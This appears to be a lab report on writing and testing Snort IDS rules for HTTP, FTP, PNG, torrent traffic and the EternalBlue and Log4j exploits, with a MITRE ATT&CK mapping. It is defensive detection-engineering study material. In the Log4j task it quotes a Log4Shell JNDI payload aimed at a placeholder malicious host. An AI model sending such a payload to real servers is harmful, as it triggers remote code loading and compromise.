Snort Challenge - The Basics

# 📝 ****Full Incident Report – Snort Challenge: The Basics****

**Lab Name:** Snort Challenge – The Basics  
**Category:** Network Security & Traffic Analysis – Report

## **1. Executive Summary**

This lab involved developing and testing **Snort IDS rules** to detect specific malicious activities across different network protocols (HTTP, FTP, PNG file transfers, and torrent metadata).  
We also worked with **external Snort rules** targeting high-profile vulnerabilities (MS17-010 & Log4j) to simulate real SOC use cases.

The key objective was to gain practical experience in **rule creation, testing, and troubleshooting**, which is a critical skill for SOC detection engineering.

## **2. Investigation Steps**

### **Task 2 – Writing IDS Rules (HTTP)**

* Created a Snort rule to detect HTTP requests containing a specific malicious string.
* Example:

snort

CopyEdit

alert tcp any any -> any 80 (msg:"Suspicious HTTP Request"; content:"malware"; nocase; sid:1000001; rev:1;)

* Verified detection by generating HTTP traffic with the keyword.

### **Task 3 – Writing IDS Rules (FTP)**

* Wrote a rule to flag login attempts over FTP protocol.
* Example:

snort

CopyEdit

alert tcp any any -> any 21 (msg:"FTP Login Detected"; content:"USER"; nocase; sid:1000002; rev:1;)

* Tested with simulated FTP login packets.

### **Task 4 – Writing IDS Rules (PNG)**

* Developed a rule to detect PNG file downloads over HTTP.
* Used PNG file signature (\x89PNG) in content field.

### **Task 5 – Writing IDS Rules (Torrent Metafile)**

* Created a rule to detect .torrent metafiles by matching the announce keyword.
* This simulates detection of **peer-to-peer traffic** in corporate environments.

### **Task 6 – Troubleshooting Rule Syntax Errors**

* Used Snort syntax check mode:

bash

CopyEdit

snort -T -c /etc/snort/snort.conf

* Corrected misplaced semicolons and incorrect keywords.

### **Task 7 – Using External Rules (MS17-010)**

* Loaded public community rule to detect **EternalBlue SMB exploit** attempts.
* Verified alert trigger on sample PCAP containing exploit attempt.

### **Task 8 – Using External Rules (Log4j)**

* Deployed Snort rule to detect exploitation attempts against Log4Shell vulnerability.
* Confirmed detection via malicious HTTP header containing ${jndi:ldap://malicious.com/a} payload.

## **3. MITRE ATT&CK Mapping**

| **Technique ID** | **Technique Name** | **Observation** |
| --- | --- | --- |
| T1071.001 | Application Layer Protocol: Web Traffic | Malicious HTTP request detection |
| T1105 | Ingress Tool Transfer | PNG file and torrent detection |
| T1021.002 | SMB/Windows Admin Shares | MS17-010 exploit detection |
| T1190 | Exploit Public-Facing Application | Log4j exploit detection |

## **4. Lessons Learned**

* Rule **specificity** is key — overly broad rules cause false positives.
* Signature-based detection is effective for known threats but must be combined with anomaly detection for unknown threats.
* External rules (community/professional) accelerate deployment against newly disclosed vulnerabilities.

## **5. Containment Recommendations**

* Integrate created rules into live Snort deployments for proactive monitoring.
* Keep rules updated from official and community repositories.
* Combine Snort with SIEM for correlation and long-term IOC tracking.

